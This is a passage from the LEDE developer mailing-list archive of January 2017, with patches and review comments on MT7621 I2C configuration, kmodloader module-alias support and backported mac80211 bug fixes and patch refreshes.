> +  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci
>  endef
>  TARGET_DEVICES += pbr-m1
>  
> @@ -157,7 +156,7 @@ define Device/w2914nsv2
>    DTS := W2914NSV2
>    IMAGE_SIZE := $(ralink_default_fw_size_16M)
>    DEVICE_TITLE := WeVO W2914NS v2
> -  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-i2c-mt7621 kmod-mt76
> +  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-mt76
>  endef
>  TARGET_DEVICES += w2914nsv2
>  
> @@ -179,8 +178,7 @@ define Device/witi
>    DTS := WITI
>    IMAGE_SIZE := $(ralink_default_fw_size_16M)
>    DEVICE_TITLE := MQmaker WiTi
> -  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci \
> -	kmod-i2c-mt7621
> +  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci
>  endef
>  TARGET_DEVICES += witi
>  
> diff --git a/target/linux/ramips/mt7621/config-4.4 b/target/linux/ramips/mt7621/config-4.4
> index 73c3b39..383370b 100644
> --- a/target/linux/ramips/mt7621/config-4.4
> +++ b/target/linux/ramips/mt7621/config-4.4
> @@ -115,6 +115,8 @@ CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y
>  CONFIG_HIGHMEM=y
>  CONFIG_HW_HAS_PCI=y
>  CONFIG_HZ_PERIODIC=y
> +CONFIG_I2C=y
> +CONFIG_I2C_MT7621=y
>  # CONFIG_IMG_MDC_DMA is not set
>  CONFIG_INITRAMFS_SOURCE=""
>  CONFIG_IRQCHIP=y
> -- 
> 2.9.3
> 
> 
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev


From yszhou4tech at gmail.com  Thu Jan 12 20:13:24 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Fri, 13 Jan 2017 12:13:24 +0800
Subject: [LEDE-DEV] [PATCH ubox 0/6] kmodloader: add module alias support
In-Reply-To: <4472a45c-c0e0-7dfe-71d5-ffe7ddff51b7@createc.ro>
References: <1484135650-16962-1-git-send-email-yszhou4tech@gmail.com>
 <4472a45c-c0e0-7dfe-71d5-ffe7ddff51b7@createc.ro>
Message-ID: <CAECwjAisfvRUwQH1zVbf=qAx7ZdkG09UejftZh+7G6sZMcNtjw@mail.gmail.com>

On 13 January 2017 at 03:07, Lucian Cristian <luci at createc.ro> wrote:
> On 11.01.2017 13:54, Yousong Zhou wrote:
>>
>> Aliases are essential information for working with kernel modules.
>> Netfilter
>> subsystem will request for ipt_hashlimit and ip6t_hashlimit respectively
>> when
>> called with
>>
>>         xt_request_find_match(NFPROTO_IPV{4,6}, "hashlimit", 1)
>>
>> The kernel __request_module() will then invoke user mode modprobe to load
>> them
>>
>>         /sbin/modprobe -q -- ipt_hashlimit
>>         /sbin/modprobe -q -- ip6t_hashlimit
>>
>> where ipt_hashlimit and ip6t_hashlimit are aliases of xt_hashlimit
>>
>> The patch depends on another patch in the build system to restore alias
>> info
>> to kernel modules.
>>
>> Yousong Zhou (6):
>>    kmodloader: remove redundant glob wildcard char
>>    kmodloader: log to kmsg when loading directories of modules
>>    kmodloader: modprobe: skip possible command line arguments
>>    kmodloader: fix out-of-bound access when parsing .modinfo
>>    kmodloader: add module alias awareness
>>    kmodloader: make insert_module() idempotent
>>
>>   kmodloader.c | 185
>> +++++++++++++++++++++++++++++++++++++++++++++++++----------
>>   1 file changed, 154 insertions(+), 31 deletions(-)
>>
> applied it with minor patch 5 adjustments for ubox  (different version ? )
> and no more warning and some debugging on kmodloader (virtual machine
> tested)

The series is on top of ubox master branch which has a few commits not
included in the package/system/ubox/Makefile version.

>
> [    8.141016] kmodloader: 2 modules could not be probed
> [    8.141172] kmodloader: dependency not loaded sch56xx-common
> [    8.141288] kmodloader: - sch5627 - 1
> [    8.141380] kmodloader: - sch56xx-common - 0

If QEMU was being used without sch5627 emulation, then I expect the
above warning is expected behaviour.

Though there is indeed a missing pair of curly braces around the
avl_for_each_element inside main_modprobe().  I will send a v2 patch
series.


>
> I'm using it on x86_64:
>
> free space
>
> before:
>
>
>  41409642 lede-snapshot-r2919-d1daf3f-x86-64-combined-squashfs.img
>  24108138 lede-snapshot-r2919-d1daf3f-x86-64-rootfs-squashfs.img
>    2659248 lede-snapshot-r2919-d1daf3f-x86-64-vmlinuz
>
> root at lede:~# df
> Filesystem           1K-blocks          Used        Available Use% Mounted
> on
> /dev/root                      23552     23552 0 100% /rom
> /dev/loop0                  236672     81100          140084  37% /overlay
> overlayfs:/overlay      236672     81100          140084  37% /
>
> after:
>
> 41411458 lede-snapshot-r2919-d1daf3f-x86-64-combined-squashfs.img
>  24109954 lede-snapshot-r2919-d1daf3f-x86-64-rootfs-squashfs.img
>    2659248 lede-snapshot-r2919-d1daf3f-x86-64-vmlinuz
>
> root at lede:~# df
>
> Filesystem           1K-blocks        Used       Available Use% Mounted on
> /dev/root                      23552      23552         0 100% /rom
> /dev/loop0                  236672     81100    140084      37% /overlay
> overlayfs:/overlay      236672     81100    140084      37% /
>
> Regards

Hmm, I have no idea where does the more than 1KB size increase of
rootfs-squashfs.img come from...  I do not expect it to be caused by
the added alias info...

Thanks for the testing.

Regards

                yousong


From bb at npl.de  Fri Jan 13 00:36:28 2017
From: bb at npl.de (Bastian Bittorf)
Date: Fri, 13 Jan 2017 09:36:28 +0100
Subject: [LEDE-DEV] Branching LEDE 17.01 / problems with ath9k
In-Reply-To: <000101d26d29$1430e0c0$3c92a240$@de>
References: <0578f244-bef6-7763-d510-bf73d40cac17@mein.io>
 <1484077722.18918.3.camel@kitschensync.net>
 <9d921b96-a21b-5242-21ba-d86696e5801d@mein.io>
 <20170112093843.GA16828@medion.lan>
 <000101d26d29$1430e0c0$3c92a240$@de>
Message-ID: <20170113083628.GA27794@medion.lan>

* Thomas Endt <tmo26 at gmx.de> [13.01.2017 09:19]:
> > the page https://lede-project.org changed again and 'reporting bugs'
> > is hidden under 'Developer Guide' which is just...wrong Please make
> > this more "friendly".
> 
> https://lede-project.org/contact contains a link to
> https://bugs.lede-project.org/ since 11/11/2016.
> IMHO the perfect place.

thank you - that makes sense. maybe move it more
ontop? it's nearly the last entry after, even after
"Server Status Changes Announcements on Twitter" 8-)

bye, bastian


From nbd at nbd.name  Fri Jan 13 00:56:40 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Fri, 13 Jan 2017 09:56:40 +0100
Subject: [LEDE-DEV] Backporting some mac80211 fixes
In-Reply-To: <46d132ce-a425-404a-a8ce-70ee2c949fb5@ncentric.com>
References: <46d132ce-a425-404a-a8ce-70ee2c949fb5@ncentric.com>
Message-ID: <4d5c8f74-1e55-e8f0-759b-6d794c76fdb7@nbd.name>

On 2017-01-12 19:34, Koen Vandeputte wrote:
> Hi Felix,
> 
> Would you mind if I send a patch to backport these? :
> 
> mac80211: initialize fast-xmit 'info' later
> mac80211: fix legacy and invalid rx-rate report
> mac80211: fix tid_agg_rx NULL dereference
> 
> https://github.com/torvalds/linux/commit/35f432a03e41d3bf08c51ede917f94e2288fbe8c
> https://github.com/torvalds/linux/commit/a17d93ff3a950fefaea40e4a4bf3669b9137c533
> https://github.com/torvalds/linux/commit/1c3d185a9a0b136a58e73b02912d593d0303d1da
> 
> 
> I noticed you have patch 
> 348-mac80211-initialize-SMPS-field-in-HT-capabilities in your staging dir
> so I locally backported the 3 above to nrs 349, 350, 351
> 
> 
> Both commits build & run fine together should they both be pushed.
Fine with me, please send your backports and I'll take them through my
staging tree.

Thanks,

- Felix



From nbd at nbd.name  Fri Jan 13 01:02:18 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Fri, 13 Jan 2017 10:02:18 +0100
Subject: [LEDE-DEV] [PATCH ubox 3/6] kmodloader: modprobe: skip possible
 command line arguments
In-Reply-To: <1484135650-16962-4-git-send-email-yszhou4tech@gmail.com>
References: <1484135650-16962-1-git-send-email-yszhou4tech@gmail.com>
 <1484135650-16962-4-git-send-email-yszhou4tech@gmail.com>
Message-ID: <5b509a12-6531-0031-fa6a-48a46a234596@nbd.name>

On 2017-01-11 12:54, Yousong Zhou wrote:
> The kernel may invocate user mode modprobe with the following scheme
> 
>     modprobe -q -- <module_name>
> 
> Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
> ---
>  kmodloader.c | 13 +++++++++++--
>  1 file changed, 11 insertions(+), 2 deletions(-)
> 
> diff --git a/kmodloader.c b/kmodloader.c
> index b20de6e..b5dc4d1 100644
> --- a/kmodloader.c
> +++ b/kmodloader.c
> @@ -719,8 +719,17 @@ static int main_modprobe(int argc, char **argv)
>  {
>  	struct module *m;
>  	char *name;
> +	char *mod = NULL;
> +	int i;
>  
> -	if (argc != 2)
> +	if (argc < 2)
> +		return print_usage("modprobe");
> +	for (i = 1; i < argc; i++)
> +		if (argv[i][0] != '-') {
Wouldn't it make more sense to use getopt here and fail on invalid options?

- Felix



From koen.vandeputte at ncentric.com  Fri Jan 13 01:34:52 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Fri, 13 Jan 2017 10:34:52 +0100
Subject: [LEDE-DEV] [PATCH 1/2] mac80211: backport some upstream fixes
Message-ID: <1484300093-26452-1-git-send-email-koen.vandeputte@ncentric.com>

Backports the following upstream fixes:

mac80211: initialize fast-xmit 'info' later
mac80211: fix legacy and invalid rx-rate report
mac80211: fix tid_agg_rx NULL dereference

Compiled and tested on: cns3xxx

Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
---
 .../349-mac80211-fix-legacy-invalid-rxrate.patch   | 60 +++++++++++++
 .../patches/350-mac80211-init-fastxmit-later.patch | 41 +++++++++
 .../patches/351-mac80211-fix-tid-agg-null.patch    | 99 ++++++++++++++++++++++
 3 files changed, 200 insertions(+)
 create mode 100644 package/kernel/mac80211/patches/349-mac80211-fix-legacy-invalid-rxrate.patch
 create mode 100644 package/kernel/mac80211/patches/350-mac80211-init-fastxmit-later.patch
 create mode 100644 package/kernel/mac80211/patches/351-mac80211-fix-tid-agg-null.patch

diff --git a/package/kernel/mac80211/patches/349-mac80211-fix-legacy-invalid-rxrate.patch b/package/kernel/mac80211/patches/349-mac80211-fix-legacy-invalid-rxrate.patch
new file mode 100644
index 0000000..c160515
--- /dev/null
+++ b/package/kernel/mac80211/patches/349-mac80211-fix-legacy-invalid-rxrate.patch
@@ -0,0 +1,60 @@
+From a17d93ff3a950fefaea40e4a4bf3669b9137c533 Mon Sep 17 00:00:00 2001
+From: Ben Greear <greearb at candelatech.com>
+Date: Wed, 14 Dec 2016 11:30:38 -0800
+Subject: [PATCH] mac80211: fix legacy and invalid rx-rate report
+
+This fixes obtaining the rate info via sta_set_sinfo
+when the rx rate is invalid (for instance, on IBSS
+interface that has received no frames from one of its
+peers).
+
+Also initialize rinfo->flags for legacy rates, to not
+rely on the whole sinfo being initialized to zero.
+
+Signed-off-by: Ben Greear <greearb at candelatech.com>
+Signed-off-by: Johannes Berg <johannes.berg at intel.com>
+---
+ net/mac80211/sta_info.c | 14 ++++++++------
+ 1 file changed, 8 insertions(+), 6 deletions(-)
+
+--- a/net/mac80211/sta_info.c
++++ b/net/mac80211/sta_info.c
+@@ -1975,6 +1975,7 @@ static void sta_stats_decode_rate(struct
+ 		u16 brate;
+ 		unsigned int shift;
+ 
++		rinfo->flags = 0;
+ 		sband = local->hw.wiphy->bands[(rate >> 4) & 0xf];
+ 		brate = sband->bitrates[rate & 0xf].bitrate;
+ 		if (rinfo->bw == RATE_INFO_BW_5)
+@@ -1990,14 +1991,15 @@ static void sta_stats_decode_rate(struct
+ 		rinfo->flags |= RATE_INFO_FLAGS_SHORT_GI;
+ }
+ 
+-static void sta_set_rate_info_rx(struct sta_info *sta, struct rate_info *rinfo)
++static int sta_set_rate_info_rx(struct sta_info *sta, struct rate_info *rinfo)
+ {
+ 	u16 rate = ACCESS_ONCE(sta_get_last_rx_stats(sta)->last_rate);
+ 
+ 	if (rate == STA_STATS_RATE_INVALID)
+-		rinfo->flags = 0;
+-	else
+-		sta_stats_decode_rate(sta->local, rate, rinfo);
++		return -EINVAL;
++
++	sta_stats_decode_rate(sta->local, rate, rinfo);
++	return 0;
+ }
+ 
+ static void sta_set_tidstats(struct sta_info *sta,
+@@ -2202,8 +2204,8 @@ void sta_set_sinfo(struct sta_info *sta,
+ 	}
+ 
+ 	if (!(sinfo->filled & BIT(NL80211_STA_INFO_RX_BITRATE))) {
+-		sta_set_rate_info_rx(sta, &sinfo->rxrate);
+-		sinfo->filled |= BIT(NL80211_STA_INFO_RX_BITRATE);
++		if (sta_set_rate_info_rx(sta, &sinfo->rxrate) == 0)
++			sinfo->filled |= BIT(NL80211_STA_INFO_RX_BITRATE);
+ 	}
+ 
+ 	sinfo->filled |= BIT(NL80211_STA_INFO_TID_STATS);
diff --git a/package/kernel/mac80211/patches/350-mac80211-init-fastxmit-later.patch b/package/kernel/mac80211/patches/350-mac80211-init-fastxmit-later.patch
new file mode 100644
index 0000000..0b640ef
--- /dev/null
+++ b/package/kernel/mac80211/patches/350-mac80211-init-fastxmit-later.patch
@@ -0,0 +1,41 @@
+From 35f432a03e41d3bf08c51ede917f94e2288fbe8c Mon Sep 17 00:00:00 2001
+From: Johannes Berg <johannes.berg at intel.com>
+Date: Mon, 2 Jan 2017 11:19:29 +0100
+Subject: [PATCH] mac80211: initialize fast-xmit 'info' later
+
+In ieee80211_xmit_fast(), 'info' is initialized to point to the skb
+that's passed in, but that skb may later be replaced by a clone (if
+it was shared), leading to an invalid pointer.
+
+This can lead to use-after-free and also later crashes since the
+real SKB's info->hw_queue doesn't get initialized properly.
+
+Fix this by assigning info only later, when it's needed, after the
+skb replacement (may have) happened.
+
+Cc: stable at vger.kernel.org
+Reported-by: Ben Greear <greearb at candelatech.com>
+Signed-off-by: Johannes Berg <johannes.berg at intel.com>
+---
+ net/mac80211/tx.c | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+--- a/net/mac80211/tx.c
++++ b/net/mac80211/tx.c
+@@ -3297,7 +3297,7 @@ static bool ieee80211_xmit_fast(struct i
+ 	int extra_head = fast_tx->hdr_len - (ETH_HLEN - 2);
+ 	int hw_headroom = sdata->local->hw.extra_tx_headroom;
+ 	struct ethhdr eth;
+-	struct ieee80211_tx_info *info = IEEE80211_SKB_CB(skb);
++	struct ieee80211_tx_info *info;
+ 	struct ieee80211_hdr *hdr = (void *)fast_tx->hdr;
+ 	struct ieee80211_tx_data tx;
+ 	ieee80211_tx_result r;
+@@ -3361,6 +3361,7 @@ static bool ieee80211_xmit_fast(struct i
+ 	memcpy(skb->data + fast_tx->da_offs, eth.h_dest, ETH_ALEN);
+ 	memcpy(skb->data + fast_tx->sa_offs, eth.h_source, ETH_ALEN);
+ 
++	info = IEEE80211_SKB_CB(skb);
+ 	memset(info, 0, sizeof(*info));
+ 	info->band = fast_tx->band;
+ 	info->control.vif = &sdata->vif;
diff --git a/package/kernel/mac80211/patches/351-mac80211-fix-tid-agg-null.patch b/package/kernel/mac80211/patches/351-mac80211-fix-tid-agg-null.patch
new file mode 100644
index 0000000..9148cfa
--- /dev/null
+++ b/package/kernel/mac80211/patches/351-mac80211-fix-tid-agg-null.patch
@@ -0,0 +1,99 @@
+From 1c3d185a9a0b136a58e73b02912d593d0303d1da Mon Sep 17 00:00:00 2001
+From: Johannes Berg <johannes.berg at intel.com>
+Date: Tue, 18 Oct 2016 23:12:08 +0300
+Subject: [PATCH] mac80211: fix tid_agg_rx NULL dereference
+
+On drivers setting the SUPPORTS_REORDERING_BUFFER hardware flag,
+we crash when the peer sends an AddBA request while we already
+have a session open on the seame TID; this is because on those
+drivers, the tid_agg_rx is left NULL even though the session is
+valid, and the agg_session_valid bit is set.
+
+To fix this, store the dialog tokens outside the tid_agg_rx to
+be able to compare them to the received AddBA request.
+
+Fixes: f89e07d4cf26 ("mac80211: agg-rx: refuse ADDBA Request with timeout update")
+Reported-by: Emmanuel Grumbach <emmanuel.grumbach at intel.com>
+Signed-off-by: Johannes Berg <johannes.berg at intel.com>
+---
+ net/mac80211/agg-rx.c      | 8 ++------
+ net/mac80211/debugfs_sta.c | 2 +-
+ net/mac80211/sta_info.h    | 4 ++--
+ 3 files changed, 5 insertions(+), 9 deletions(-)
+
+--- a/net/mac80211/agg-rx.c
++++ b/net/mac80211/agg-rx.c
+@@ -315,11 +315,7 @@ void __ieee80211_start_rx_ba_session(str
+ 	mutex_lock(&sta->ampdu_mlme.mtx);
+ 
+ 	if (test_bit(tid, sta->ampdu_mlme.agg_session_valid)) {
+-		tid_agg_rx = rcu_dereference_protected(
+-				sta->ampdu_mlme.tid_rx[tid],
+-				lockdep_is_held(&sta->ampdu_mlme.mtx));
+-
+-		if (tid_agg_rx->dialog_token == dialog_token) {
++		if (sta->ampdu_mlme.tid_rx_token[tid] == dialog_token) {
+ 			ht_dbg_ratelimited(sta->sdata,
+ 					   "updated AddBA Req from %pM on tid %u\n",
+ 					   sta->sta.addr, tid);
+@@ -396,7 +392,6 @@ void __ieee80211_start_rx_ba_session(str
+ 	}
+ 
+ 	/* update data */
+-	tid_agg_rx->dialog_token = dialog_token;
+ 	tid_agg_rx->ssn = start_seq_num;
+ 	tid_agg_rx->head_seq_num = start_seq_num;
+ 	tid_agg_rx->buf_size = buf_size;
+@@ -418,6 +413,7 @@ end:
+ 	if (status == WLAN_STATUS_SUCCESS) {
+ 		__set_bit(tid, sta->ampdu_mlme.agg_session_valid);
+ 		__clear_bit(tid, sta->ampdu_mlme.unexpected_agg);
++		sta->ampdu_mlme.tid_rx_token[tid] = dialog_token;
+ 	}
+ 	mutex_unlock(&sta->ampdu_mlme.mtx);
+ 
+--- a/net/mac80211/debugfs_sta.c
++++ b/net/mac80211/debugfs_sta.c
+@@ -205,7 +205,7 @@ static ssize_t sta_agg_status_read(struc
+ 		p += scnprintf(p, sizeof(buf) + buf - p, "%02d", i);
+ 		p += scnprintf(p, sizeof(buf) + buf - p, "\t\t%x", !!tid_rx);
+ 		p += scnprintf(p, sizeof(buf) + buf - p, "\t%#.2x",
+-				tid_rx ? tid_rx->dialog_token : 0);
++				tid_rx ? sta->ampdu_mlme.tid_rx_token[i] : 0);
+ 		p += scnprintf(p, sizeof(buf) + buf - p, "\t%#.3x",
+ 				tid_rx ? tid_rx->ssn : 0);
+ 
+--- a/net/mac80211/sta_info.h
++++ b/net/mac80211/sta_info.h
+@@ -184,7 +184,6 @@ struct tid_ampdu_tx {
+  * @ssn: Starting Sequence Number expected to be aggregated.
+  * @buf_size: buffer size for incoming A-MPDUs
+  * @timeout: reset timer value (in TUs).
+- * @dialog_token: dialog token for aggregation session
+  * @rcu_head: RCU head used for freeing this struct
+  * @reorder_lock: serializes access to reorder buffer, see below.
+  * @auto_seq: used for offloaded BA sessions to automatically pick head_seq_and
+@@ -213,7 +212,6 @@ struct tid_ampdu_rx {
+ 	u16 ssn;
+ 	u16 buf_size;
+ 	u16 timeout;
+-	u8 dialog_token;
+ 	bool auto_seq;
+ 	bool removed;
+ };
+@@ -225,6 +223,7 @@ struct tid_ampdu_rx {
+  *	to tid_tx[idx], which are protected by the sta spinlock)
+  *	tid_start_tx is also protected by sta->lock.
+  * @tid_rx: aggregation info for Rx per TID -- RCU protected
++ * @tid_rx_token: dialog tokens for valid aggregation sessions
+  * @tid_rx_timer_expired: bitmap indicating on which TIDs the
+  *	RX timer expired until the work for it runs
+  * @tid_rx_stop_requested:  bitmap indicating which BA sessions per TID the
+@@ -243,6 +242,7 @@ struct sta_ampdu_mlme {
+ 	struct mutex mtx;
+ 	/* rx */
+ 	struct tid_ampdu_rx __rcu *tid_rx[IEEE80211_NUM_TIDS];
++	u8 tid_rx_token[IEEE80211_NUM_TIDS];
+ 	unsigned long tid_rx_timer_expired[BITS_TO_LONGS(IEEE80211_NUM_TIDS)];
+ 	unsigned long tid_rx_stop_requested[BITS_TO_LONGS(IEEE80211_NUM_TIDS)];
+ 	unsigned long agg_session_valid[BITS_TO_LONGS(IEEE80211_NUM_TIDS)];
-- 
2.7.4



From koen.vandeputte at ncentric.com  Fri Jan 13 01:34:53 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Fri, 13 Jan 2017 10:34:53 +0100
Subject: [LEDE-DEV] [PATCH 2/2] mac80211: refresh all patches
In-Reply-To: <1484300093-26452-1-git-send-email-koen.vandeputte@ncentric.com>
References: <1484300093-26452-1-git-send-email-koen.vandeputte@ncentric.com>
Message-ID: <1484300093-26452-2-git-send-email-koen.vandeputte@ncentric.com>

Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
---
 .../100-remove-cryptoapi-dependencies.patch        | 90 ++++++++++++----------
 ...h-to-using-mac80211-intermediate-software.patch |  4 +-
 ...ath9k_hw-issue-external-reset-for-QCA955x.patch | 51 ++++++------
 ...void-extra-memcpy-in-A-MSDU-head-creation.patch | 15 ++--
 .../mac80211/patches/404-regd_no_assoc_hints.patch |  4 +-
 .../522-mac80211_configure_antenna_gain.patch      |  4 +-
 .../mac80211/patches/530-ath9k_extra_leds.patch    | 12 +--
 ...e-all-EEPROM-fields-in-Little-Endian-form.patch | 50 ++++++------
 .../patches/910-01-add-support-for-mt7620.patch    |  6 +-
 9 files changed, 125 insertions(+), 111 deletions(-)

diff --git a/package/kernel/mac80211/patches/100-remove-cryptoapi-dependencies.patch b/package/kernel/mac80211/patches/100-remove-cryptoapi-dependencies.patch
index b65b0bd..fbe22e5 100644
--- a/package/kernel/mac80211/patches/100-remove-cryptoapi-dependencies.patch
+++ b/package/kernel/mac80211/patches/100-remove-cryptoapi-dependencies.patch
@@ -34,9 +34,12 @@
  #include "aes_ccm.h"
  
 -void ieee80211_aes_ccm_encrypt(struct crypto_aead *tfm, u8 *b_0, u8 *aad,
+-			       u8 *data, size_t data_len, u8 *mic,
+-			       size_t mic_len)
 +static void aes_ccm_prepare(struct crypto_cipher *tfm, u8 *b_0, u8 *aad, u8 *s_0,
 +			    u8 *a, u8 *b)
-+{
+ {
+-	struct scatterlist sg[3];
 +	int i;
 +
 +	crypto_cipher_encrypt_one(tfm, b, b_0);
@@ -51,56 +54,55 @@
 +	for (i = 0; i < AES_BLOCK_SIZE; i++)
 +		aad[i] ^= b[i];
 +	crypto_cipher_encrypt_one(tfm, a, aad);
-+
+ 
+-	char aead_req_data[sizeof(struct aead_request) +
+-			   crypto_aead_reqsize(tfm)]
+-		__aligned(__alignof__(struct aead_request));
+-	struct aead_request *aead_req = (void *) aead_req_data;
 +	/* Mask out bits from auth-only-b_0 */
 +	b_0[0] &= 0x07;
-+
+ 
+-	memset(aead_req, 0, sizeof(aead_req_data));
 +	/* S_0 is used to encrypt T (= MIC) */
 +	b_0[14] = 0;
 +	b_0[15] = 0;
 +	crypto_cipher_encrypt_one(tfm, s_0, b_0);
 +}
-+
-+
+ 
+-	sg_init_table(sg, 3);
+-	sg_set_buf(&sg[0], &aad[2], be16_to_cpup((__be16 *)aad));
+-	sg_set_buf(&sg[1], data, data_len);
+-	sg_set_buf(&sg[2], mic, mic_len);
+ 
+-	aead_request_set_tfm(aead_req, tfm);
+-	aead_request_set_crypt(aead_req, sg, sg, data_len, b_0);
+-	aead_request_set_ad(aead_req, sg[0].length);
 +void ieee80211_aes_ccm_encrypt(struct crypto_cipher *tfm, u8 *b_0, u8 *aad,
- 			       u8 *data, size_t data_len, u8 *mic,
- 			       size_t mic_len)
- {
--	struct scatterlist sg[3];
++			       u8 *data, size_t data_len, u8 *mic,
++			       size_t mic_len)
++{
 +	int i, j, last_len, num_blocks;
 +	u8 b[AES_BLOCK_SIZE];
 +	u8 s_0[AES_BLOCK_SIZE];
 +	u8 e[AES_BLOCK_SIZE];
 +	u8 *pos, *cpos;
- 
--	char aead_req_data[sizeof(struct aead_request) +
--			   crypto_aead_reqsize(tfm)]
--		__aligned(__alignof__(struct aead_request));
--	struct aead_request *aead_req = (void *) aead_req_data;
++
 +	num_blocks = DIV_ROUND_UP(data_len, AES_BLOCK_SIZE);
 +	last_len = data_len % AES_BLOCK_SIZE;
 +	aes_ccm_prepare(tfm, b_0, aad, s_0, b, b);
- 
--	memset(aead_req, 0, sizeof(aead_req_data));
++
 +	/* Process payload blocks */
 +	pos = data;
 +	cpos = data;
 +	for (j = 1; j <= num_blocks; j++) {
 +		int blen = (j == num_blocks && last_len) ?
 +			last_len : AES_BLOCK_SIZE;
- 
--	sg_init_table(sg, 3);
--	sg_set_buf(&sg[0], &aad[2], be16_to_cpup((__be16 *)aad));
--	sg_set_buf(&sg[1], data, data_len);
--	sg_set_buf(&sg[2], mic, mic_len);
++
 +		/* Authentication followed by encryption */
 +		for (i = 0; i < blen; i++)
 +			b[i] ^= pos[i];
 +		crypto_cipher_encrypt_one(tfm, b, b);
- 
--	aead_request_set_tfm(aead_req, tfm);
--	aead_request_set_crypt(aead_req, sg, sg, data_len, b_0);
--	aead_request_set_ad(aead_req, sg[0].length);
++
 +		b_0[14] = (j >> 8) & 0xff;
 +		b_0[15] = j & 0xff;
 +		crypto_cipher_encrypt_one(tfm, e, b_0);
@@ -123,30 +125,37 @@
 -			   crypto_aead_reqsize(tfm)]
 -		__aligned(__alignof__(struct aead_request));
 -	struct aead_request *aead_req = (void *) aead_req_data;
+-
+-	if (data_len == 0)
+-		return -EINVAL;
+-
+-	memset(aead_req, 0, sizeof(aead_req_data));
+-
+-	sg_init_table(sg, 3);
+-	sg_set_buf(&sg[0], &aad[2], be16_to_cpup((__be16 *)aad));
+-	sg_set_buf(&sg[1], data, data_len);
+-	sg_set_buf(&sg[2], mic, mic_len);
+-
+-	aead_request_set_tfm(aead_req, tfm);
+-	aead_request_set_crypt(aead_req, sg, sg, data_len + mic_len, b_0);
+-	aead_request_set_ad(aead_req, sg[0].length);
 +	int i, j, last_len, num_blocks;
 +	u8 *pos, *cpos;
 +	u8 a[AES_BLOCK_SIZE];
 +	u8 b[AES_BLOCK_SIZE];
 +	u8 s_0[AES_BLOCK_SIZE];
- 
--	if (data_len == 0)
--		return -EINVAL;
++
 +	num_blocks = DIV_ROUND_UP(data_len, AES_BLOCK_SIZE);
 +	last_len = data_len % AES_BLOCK_SIZE;
 +	aes_ccm_prepare(tfm, b_0, aad, s_0, a, b);
- 
--	memset(aead_req, 0, sizeof(aead_req_data));
++
 +	/* Process payload blocks */
 +	cpos = data;
 +	pos = data;
 +	for (j = 1; j <= num_blocks; j++) {
 +		int blen = (j == num_blocks && last_len) ?
 +			last_len : AES_BLOCK_SIZE;
- 
--	sg_init_table(sg, 3);
--	sg_set_buf(&sg[0], &aad[2], be16_to_cpup((__be16 *)aad));
--	sg_set_buf(&sg[1], data, data_len);
--	sg_set_buf(&sg[2], mic, mic_len);
++
 +		/* Decryption followed by authentication */
 +		b_0[14] = (j >> 8) & 0xff;
 +		b_0[15] = j & 0xff;
@@ -157,10 +166,7 @@
 +		}
 +		crypto_cipher_encrypt_one(tfm, a, a);
 +	}
- 
--	aead_request_set_tfm(aead_req, tfm);
--	aead_request_set_crypt(aead_req, sg, sg, data_len + mic_len, b_0);
--	aead_request_set_ad(aead_req, sg[0].length);
++
 +	for (i = 0; i < mic_len; i++) {
 +		if ((mic[i] ^ s_0[i]) != a[i])
 +			return -1;
@@ -179,12 +185,12 @@
  {
 -	struct crypto_aead *tfm;
 -	int err;
--
++	struct crypto_cipher *tfm;
+ 
 -	tfm = crypto_alloc_aead("ccm(aes)", 0, CRYPTO_ALG_ASYNC);
 -	if (IS_ERR(tfm))
 -		return tfm;
-+	struct crypto_cipher *tfm;
- 
+-
 -	err = crypto_aead_setkey(tfm, key, key_len);
 -	if (err)
 -		goto free_aead;
diff --git a/package/kernel/mac80211/patches/300-ath9k-Switch-to-using-mac80211-intermediate-software.patch b/package/kernel/mac80211/patches/300-ath9k-Switch-to-using-mac80211-intermediate-software.patch
index 57917c5..b93d116 100644
--- a/package/kernel/mac80211/patches/300-ath9k-Switch-to-using-mac80211-intermediate-software.patch
+++ b/package/kernel/mac80211/patches/300-ath9k-Switch-to-using-mac80211-intermediate-software.patch
@@ -875,10 +875,10 @@ Signed-off-by: Toke H?iland-J?rgensen <toke at toke.dk>
 -		ath_txq_lock(sc, txq);
 -	} else if (txctl->an && queue) {
 -		WARN_ON(tid->txq != txctl->txq);
--
+ 
 -		if (info->flags & IEEE80211_TX_CTL_CLEAR_PS_FILT)
 -			tid->clear_ps_filter = true;
- 
+-
 -		/*
 -		 * Add this frame to software queue for scheduling later
 -		 * for aggregation.
diff --git a/package/kernel/mac80211/patches/315-ath9k_hw-issue-external-reset-for-QCA955x.patch b/package/kernel/mac80211/patches/315-ath9k_hw-issue-external-reset-for-QCA955x.patch
index 34d7d3b..5eb69b8 100644
--- a/package/kernel/mac80211/patches/315-ath9k_hw-issue-external-reset-for-QCA955x.patch
+++ b/package/kernel/mac80211/patches/315-ath9k_hw-issue-external-reset-for-QCA955x.patch
@@ -29,6 +29,21 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
 -		npend = ath9k_hw_numtxpending(ah, i);
 -		if (npend)
 -			break;
+-	}
+-
+-	if (ah->external_reset &&
+-	    (npend || type == ATH9K_RESET_COLD)) {
+-		int reset_err = 0;
+-
+-		ath_dbg(ath9k_hw_common(ah), RESET,
+-			"reset MAC via external reset\n");
+-
+-		reset_err = ah->external_reset();
+-		if (reset_err) {
+-			ath_err(ath9k_hw_common(ah),
+-				"External reset failed, err=%d\n",
+-				reset_err);
+-			return false;
 +	if (type == ATH9K_RESET_COLD)
 +		return true;
 +
